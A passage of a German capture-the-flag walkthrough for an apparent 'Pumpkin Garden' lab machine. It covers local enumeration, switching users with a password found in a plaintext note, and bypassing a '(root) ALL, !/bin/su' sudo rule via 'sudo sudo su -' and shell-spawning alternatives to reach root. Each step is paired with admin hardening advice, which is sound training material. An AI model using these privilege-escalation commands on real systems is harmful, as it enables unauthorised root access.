LISTEN     0      128                             :::3535                           :::*
LISTEN     0      128                             :::1515                           :::*
                    

Analyse: Der Befehl `ss -atlpn` listet alle lauschenden TCP-Netzwerk-Sockets (`-t`, `-l`), zeigt die zugehörigen Prozessinformationen (`-p`) und numerische Adressen/Ports (`-n`) an. Die Ausgabe bestätigt die von Nmap gefundenen Dienste: * Port 3535 (SSH) lauscht auf allen IPv4- und IPv6-Schnittstellen. * Port 21 (FTP) lauscht auf allen IPv4-Schnittstellen. * Port 1515 (HTTP/Apache) lauscht auf allen IPv6-Schnittstellen (und implizit wahrscheinlich auch IPv4). * Port 3306 (MySQL) lauscht nur auf der lokalen Loopback-Adresse `127.0.0.1`. Das bedeutet, der MySQL-Server ist nur vom System selbst erreichbar, nicht direkt von außen.

Bewertung: Die Ausgabe bestätigt die bereits bekannten extern erreichbaren Dienste. Der Fund des nur lokal lauschenden MySQL-Servers ist interessant. Auch wenn er nicht direkt von außen angreifbar ist, könnten lokale Benutzer (wie `scarecrow`) versuchen, sich damit zu verbinden, oder Webanwendungen auf dem Server könnten darauf zugreifen.

Empfehlung (Pentester): Versuche, dich mit dem MySQL-Server lokal zu verbinden, falls Zugangsdaten gefunden werden (z.B. in Webanwendungs-Konfigurationsdateien). Überprüfe, ob der Benutzer `scarecrow` oder andere lokale Benutzer Standard-MySQL-Passwörter haben.
Empfehlung (Admin): Es ist eine gute Sicherheitspraxis, Datenbankserver nur auf der Loopback-Adresse lauschen zu lassen, wenn kein externer Zugriff benötigt wird. Stellen Sie sicher, dass starke, einzigartige Passwörter für alle Datenbankbenutzer verwendet werden.

scarecrow@Pumpkin:/home$ mysql -u scarecrow -p
Enter password: [Passwort eingegeben]
ERROR 1045 (28000): Access denied for user 'scarecrow'@'localhost' (using password: YES)
                    

Analyse: Es wird versucht, sich mit dem lokalen MySQL-Server als Benutzer `scarecrow` zu verbinden. Das Passwort von `scarecrow` (vermutlich `5Qn@$y`) wird eingegeben. Der Login schlägt fehl (`Access denied`).

Bewertung: Der Benutzer `scarecrow` hat entweder keinen MySQL-Account oder verwendet ein anderes Passwort für MySQL als für SSH. Der MySQL-Server ist über diesen Weg nicht zugänglich.

Empfehlung (Pentester): Suche nach MySQL-Zugangsdaten in Konfigurationsdateien von Webanwendungen (z.B. im Verzeichnis `/var/www/html`). Versuche Standard-Zugangsdaten für den `root`-MySQL-Benutzer (z.B. `root:`, `root:root`, `root:password`).
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen MySQL-Benutzer existieren und alle Benutzer starke Passwörter haben.

scarecrow@Pumpkin:/home$ find / -type f -perm -4000 -ls 2>/dev/null
   488   40 -rwsr-xr-x   1 root     root        36936 May 17  2017 /bin/su
   497   68 -rwsr-xr-x   1 root     root        69120 Nov 24  2016 /bin/umount
  1283   44 -rwsr-xr-x   1 root     root        44168 May  8  2014 /bin/ping
  1252   44 -rwsr-xr-x   1 root     root        44680 May  8  2014 /bin/ping6
   495   96 -rwsr-xr-x   1 root     root        94792 Nov 24  2016 /bin/mount
 19949   32 -rwsr-xr-x   1 root     root        30800 May 15  2015 /bin/fusermount
141115   44 -rwsr-xr-x   1 root     root        41336 May 17  2017 /usr/bin/chsh
165244   24 -rwsr-xr-x   1 root     root        23104 May  8  2014 /usr/bin/traceroute6.iputils
134610   36 -rwsr-xr-x   1 root     root        36592 May 17  2017 /usr/bin/newgrp
137652  152 -rwsr-xr-x   1 root     root       155008 May 29  2017 /usr/bin/sudo
141119   48 -rwsr-xr-x   1 root     root        47032 May 17  2017 /usr/bin/passwd
141117   72 -rwsr-xr-x   1 root     root        72280 May 17  2017 /usr/bin/gpasswd
141118   48 -rwsr-xr-x   1 root     root        46424 May 17  2017 /usr/bin/chfn
165560   76 -rwsr-xr-x   1 root     root        75256 Oct 21  2013 /usr/bin/mtr
165646  432 -rwsr-xr-x   1 root     root       440416 Mar  4  2019 /usr/lib/openssh/ssh-keysign
135840   12 -rwsr-xr-x   1 root     root        10240 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
139485  304 -rwsr-xr--   1 root     messagebus   310800 Dec  7  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
165741  340 -rwsr-xr--   1 root     dip        347296 Jun 12  2018 /usr/sbin/pppd
166038   20 -rwsr-sr-x   1 libuuid  libuuid     18904 Nov 24  2016 /usr/sbin/uuidd
                    

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` wird erneut ausgeführt, diesmal als Benutzer `scarecrow`, um nach Dateien mit gesetztem SUID-Bit zu suchen. Die Ausgabe listet eine Reihe von Standard-SUID-Binaries auf (`su`, `mount`, `ping`, `sudo`, `passwd` etc.). Es gibt keine offensichtlich ungewöhnlichen oder veralteten SUID-Dateien wie `pkexec` im vorherigen Bericht.

Bewertung: Die gefundenen SUID-Dateien sind größtenteils Standard und bieten auf den ersten Blick keinen einfachen Weg zur Privilege Escalation, es sei denn, es gibt eine bekannte Schwachstelle in einer der spezifischen Versionen dieser Tools auf diesem System oder eine Fehlkonfiguration in `sudo` (was für `scarecrow` aber nicht zutrifft).

Empfehlung (Pentester): Überprüfe die Kernel-Version (`uname -a`) auf bekannte lokale Exploits. Konzentriere dich weiterhin auf das Finden von Hinweisen in Dateien, insbesondere in der `note.txt` im Home-Verzeichnis von `scarecrow`.
Empfehlung (Admin): Halten Sie das System und alle Pakete auf dem neuesten Stand, um Schwachstellen in SUID-Binaries zu vermeiden. Entfernen Sie das SUID-Bit von Binaries, die es nicht benötigen.

scarecrow@Pumpkin$ uname -a
Linux Pumpkin 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
                    

Analyse: Der Befehl `uname -a` gibt detaillierte Informationen über den Linux-Kernel aus. Die Version ist `3.13.0-170-generic`. Dies basiert auf Ubuntu (Trusty Tahr 14.04 LTS war die letzte Version mit Kernel 3.13 standardmäßig, obwohl das Build-Datum von 2019 neuer ist).

Bewertung: Der Kernel 3.13 ist relativ alt (aus dem Jahr 2014, obwohl hier neuer kompiliert). Es gibt bekannte lokale Privilege Escalation Exploits für diese Kernel-Serie (z.B. OverlayFS-bezogene Lücken wie CVE-2015-1328, obwohl diese spezifische Version gepatcht sein könnte). Ein Kernel-Exploit ist eine mögliche Option, aber oft instabil und sollte als letztes Mittel betrachtet werden.

Empfehlung (Pentester): Recherchiere nach spezifischen LPE-Exploits für Kernel `3.13.0-170-generic` oder Ubuntu 14.04. Tools wie `linux-exploit-suggester` können dabei helfen. Konzentriere dich aber zuerst auf einfachere Methoden, wie die Untersuchung der `note.txt`.
Empfehlung (Admin): Halten Sie den Linux-Kernel immer auf dem neuesten Stand, um bekannte Schwachstellen zu schließen. Verwenden Sie unterstützte Betriebssystemversionen.

scarecrow@Pumpkin$ cat note.txt
Oops!!! I just forgot; keys to the garden are with LordPumpkin(ROOT user)!
Reach out to goblin and share this "Y0n$M4sy3D1t" to secretly get keys from LordPumpkin.
                    

Analyse: Der Inhalt der Datei `note.txt` im Home-Verzeichnis von `scarecrow` wird angezeigt. Sie enthält einen wichtigen Hinweis: Man soll den Benutzer `goblin` kontaktieren und ihm das Passwort oder den Code `Y0n$M4sy3D1t` mitteilen, um die "Schlüssel" (wahrscheinlich Root-Zugriff oder die Root-Flag) von "LordPumpkin" (Root) zu erhalten.

Bewertung: Dies ist der entscheidende Hinweis für den nächsten Schritt. Es liefert das Passwort für den Benutzer `goblin` und deutet an, dass dieser Benutzer über weitere Privilegien oder Informationen verfügt.

Empfehlung (Pentester): Wechsle zum Benutzer `goblin` mit dem Befehl `su goblin` und gib das Passwort `Y0n$M4sy3D1t` ein.
Empfehlung (Admin): Speichern Sie Passwörter oder sensible Anweisungen niemals im Klartext in Dateien, insbesondere nicht in für andere Benutzer lesbaren Dateien. Verwenden Sie sichere Methoden zur Weitergabe von Geheimnissen.

scarecrow@Pumpkin$ su goblin
Password: Y0n$M4sy3D1t
goblin@Pumpkin:/home/scarecrow$

Analyse: Der Befehl `su goblin` wird verwendet, um den Benutzerkontext zu `goblin` zu wechseln. Das Passwort `Y0n$M4sy3D1t` aus der `note.txt` wird erfolgreich verwendet. Der Prompt ändert sich zu `goblin@Pumpkin:/home/scarecrow$`, was anzeigt, dass man nun als Benutzer `goblin` angemeldet ist, sich aber noch im Home-Verzeichnis von `scarecrow` befindet.

Bewertung: Erfolgreicher horizontaler Wechsel der Benutzeridentität. Der Benutzer `goblin` wurde kompromittiert. Nun müssen die Privilegien und Informationen untersucht werden, die `goblin` besitzt.

Empfehlung (Pentester): Wechsle in das Home-Verzeichnis von `goblin` (`cd ~` oder `cd /home/goblin`). Untersuche die Umgebung als `goblin`: `sudo -l`, Dateien im Home-Verzeichnis, Gruppenmitgliedschaften etc.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzerkonten starke, einzigartige Passwörter haben und diese nicht leicht zugänglich sind. Überwachen Sie `su`-Versuche.

goblin@Pumpkin:/home/scarecrow$ cd ~
goblin@Pumpkin$ ll
total 28
drwxr-xr-x 2 goblin goblin 4096 Jun 13  2019 ./
drwxr-xr-x 5 root   root   4096 Jun 11  2019 ../
-rw------- 1 goblin goblin   32 Jun 11  2019 .bash_history
-rw-r--r-- 1 goblin goblin  231 Jun 11  2019 .bash_logout
-rw-r--r-- 1 goblin goblin 3637 Jun 11  2019 .bashrc
-rw-r--r-- 1 root   root    328 Jun 11  2019 note
-rw-r--r-- 1 goblin goblin  675 Jun 11  2019 .profile
                    
goblin@Pumpkin$ cat note
Hello Friend! I heard that you are looking for PumpkinGarden key.
But Key to the garden will be with LordPumpkin(ROOT user), don't worry, I know where LordPumpkin had placed the Key.
You can reach there through my backyard.

Here is the key to my backyard
https://www.securityfocus.com/data/vulnerabilities/exploits/38362.sh
                    

Analyse: Nach dem Wechsel in das Home-Verzeichnis von `goblin` (`cd ~`) wird der Inhalt mit `ll` aufgelistet. Es gibt wieder eine Datei namens `note`, die `root` gehört, aber für alle lesbar ist. Der Befehl `cat note` zeigt ihren Inhalt an. Sie enthält einen weiteren Hinweis und einen Link zu `securityfocus.com`, der auf ein Shell-Skript (`38362.sh`) verweist. Dieser Exploit betrifft `udev` vor Version 1.4.1 und ist für den hier laufenden Kernel 3.13 irrelevant.

Bewertung: Die `note` scheint eine weitere Ablenkung oder ein Hinweis auf einen nicht funktionierenden Exploit zu sein (udev Exploit für Kernel < 2.6.30). Die wichtige Information ist die Bestätigung, dass `goblin` möglicherweise einen Weg zu Root kennt ("I know where LordPumpkin had placed the Key"). Der Exploit-Link selbst ist hier nicht nützlich.

Empfehlung (Pentester): Ignoriere den Exploit-Link. Überprüfe die `sudo`-Rechte für `goblin` mit `sudo -l`. Dies ist der wahrscheinlichste Weg, wie `goblin` erhöhte Rechte erlangen kann.
Empfehlung (Admin): Entfernen Sie irreführende oder veraltete Hinweise aus Dateien. Überprüfen Sie die `sudo`-Konfiguration sorgfältig.

goblin@Pumpkin$ sudo -l
[sudo] password for goblin: Y0n$M4sy3D1t
Matching Defaults entries for goblin on Pumpkin:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User goblin may run the following commands on Pumpkin:
    (root) ALL, !/bin/su
                    

Analyse: Der Befehl `sudo -l` wird als `goblin` ausgeführt, um dessen `sudo`-Berechtigungen zu prüfen. Das Passwort `Y0n$M4sy3D1t` wird eingegeben. Die Ausgabe zeigt, dass `goblin` fast alle Befehle (`ALL`) als `root` ausführen darf, mit einer einzigen Ausnahme: Er darf den Befehl `/bin/su` nicht mittels `sudo` ausführen (`!/bin/su`).

Bewertung: Dies ist der Schlüssel zur Privilege Escalation! Obwohl der direkte `sudo su`-Befehl blockiert ist, erlaubt die Konfiguration `(root) ALL` dem Benutzer `goblin` praktisch jeden anderen Befehl als Root auszuführen. Die Einschränkung `!/bin/su` kann oft umgangen werden.

Empfehlung (Pentester): Nutze die `sudo`-Rechte, um eine Root-Shell zu erhalten. Mögliche Umgehungen für `!/bin/su`: 1. `sudo /bin/bash` (startet eine Bash-Shell als Root). 2. `sudo -i` oder `sudo -s` (startet eine interaktive Root-Shell). 3. `sudo find / -exec /bin/sh \; -quit` (führt eine Shell über `find` aus). 4. Der hier im Log gezeigte Trick: `sudo sudo su -`. Versuche diesen zuerst.
Empfehlung (Admin): Vermeiden Sie die Konfiguration `(root) ALL` in `sudoers`. Weisen Sie stattdessen nur die spezifischen Befehle zu, die ein Benutzer als Root ausführen muss. Wenn Root-Zugriff benötigt wird, sollte dies über `su` oder direkten Root-Login (mit sicheren Methoden) erfolgen, nicht über ein unbeschränktes `sudo ALL`. Die Einschränkung `!/bin/su` ist leicht zu umgehen und bietet keine effektive Sicherheit, wenn `ALL` ansonsten erlaubt ist.

Proof of Concept (POC): Privilege Escalation via Sudo Bypass

Dieser Abschnitt demonstriert, wie die `sudo`-Konfiguration für den Benutzer `goblin`, die `(root) ALL, !/bin/su` lautet, umgangen wird, um vollständige Root-Rechte zu erlangen.

goblin@Pumpkin$ sudo su
Sorry, user goblin is not allowed to execute '/bin/su' as root on Pumpkin.
goblin@Pumpkin$ sudo su -
Sorry, user goblin is not allowed to execute '/bin/su -' as root on Pumpkin.
goblin@Pumpkin$ sudo sudo su -
root@Pumpkin:~#

Analyse: Hier werden die Versuche zur Eskalation gezeigt: * `sudo su` und `sudo su -`: Diese direkten Versuche, `su` mittels `sudo` auszuführen, werden korrekt durch die `!/bin/su`-Regel in der `sudoers`-Datei blockiert. * `sudo sudo su -`: Dieser Befehl funktioniert. Der erste `sudo` wird von `goblin` ausgeführt und startet den zweiten `sudo`-Befehl als `root` (da `goblin` `(root) ALL` hat). Da der zweite `sudo`-Prozess bereits als `root` läuft, unterliegt er nicht mehr den Einschränkungen, die für `goblin` gelten. Dieser Root-Prozess kann dann `su -` ohne Einschränkung ausführen, was eine Root-Shell öffnet.

Bewertung: Fantastisch! Die `sudo`-Einschränkung wurde erfolgreich umgangen, und eine interaktive Root-Shell (`root@Pumpkin:~#`) wurde erlangt. Dies demonstriert die Unzulänglichkeit der `!command`-Direktive in `sudoers`, wenn gleichzeitig `ALL` gewährt wird.

Empfehlung (Pentester): Die Privilege Escalation war erfolgreich. Suche nun nach der finalen Flag oder führe andere Aktionen als Root durch. Der übliche Ort für die Root-Flag ist `/root`.
Empfehlung (Admin): Ändern Sie die `sudoers`-Konfiguration für `goblin`. Entfernen Sie `ALL` und weisen Sie nur spezifische, notwendige Befehle zu. Verwenden Sie `!`-Direktiven nicht als primären Sicherheitsmechanismus in Kombination mit `ALL`.

root@Pumpkin:~# cat PumpkinGarden_Key
Q29uZ3JhdHVsYXRpb25zIQ
root@Pumpkin:~# cat PumpkinGarden_Key | base64 -d && echo ;
Congratulations!

Analyse: In der Root-Shell wird der Inhalt der Datei `PumpkinGarden_Key` angezeigt. Sie enthält einen Base64-kodierten String. Dieser String wird dann mit `cat PumpkinGarden_Key | base64 -d && echo ;` dekodiert. `&& echo ;` fügt am Ende einen Zeilenumbruch für bessere Lesbarkeit hinzu. Das Ergebnis der Dekodierung ist "Congratulations!".

Bewertung: Die Root-Flag wurde gefunden und dekodiert. Obwohl sie nicht das typische Format hat, ist "Congratulations!" die finale Bestätigung des Erfolgs.

Empfehlung (Pentester): Dokumentieren Sie die gefundene Flag (`Congratulations!`) und den Weg dorthin. Der Test ist abgeschlossen.
Empfehlung (Admin): Sichern Sie die Root-Flag (oder andere sensible Daten im `/root`-Verzeichnis) mit korrekten Berechtigungen (`chmod 600`). Beheben Sie die zugrunde liegenden Schwachstellen (anonymer FTP, unsichere Hinweise, schwaches Passwort für `goblin`, unsichere `sudo`-Konfiguration).

Flags

cat /root/PumpkinGarden_Key | base64 -d
Congratulations!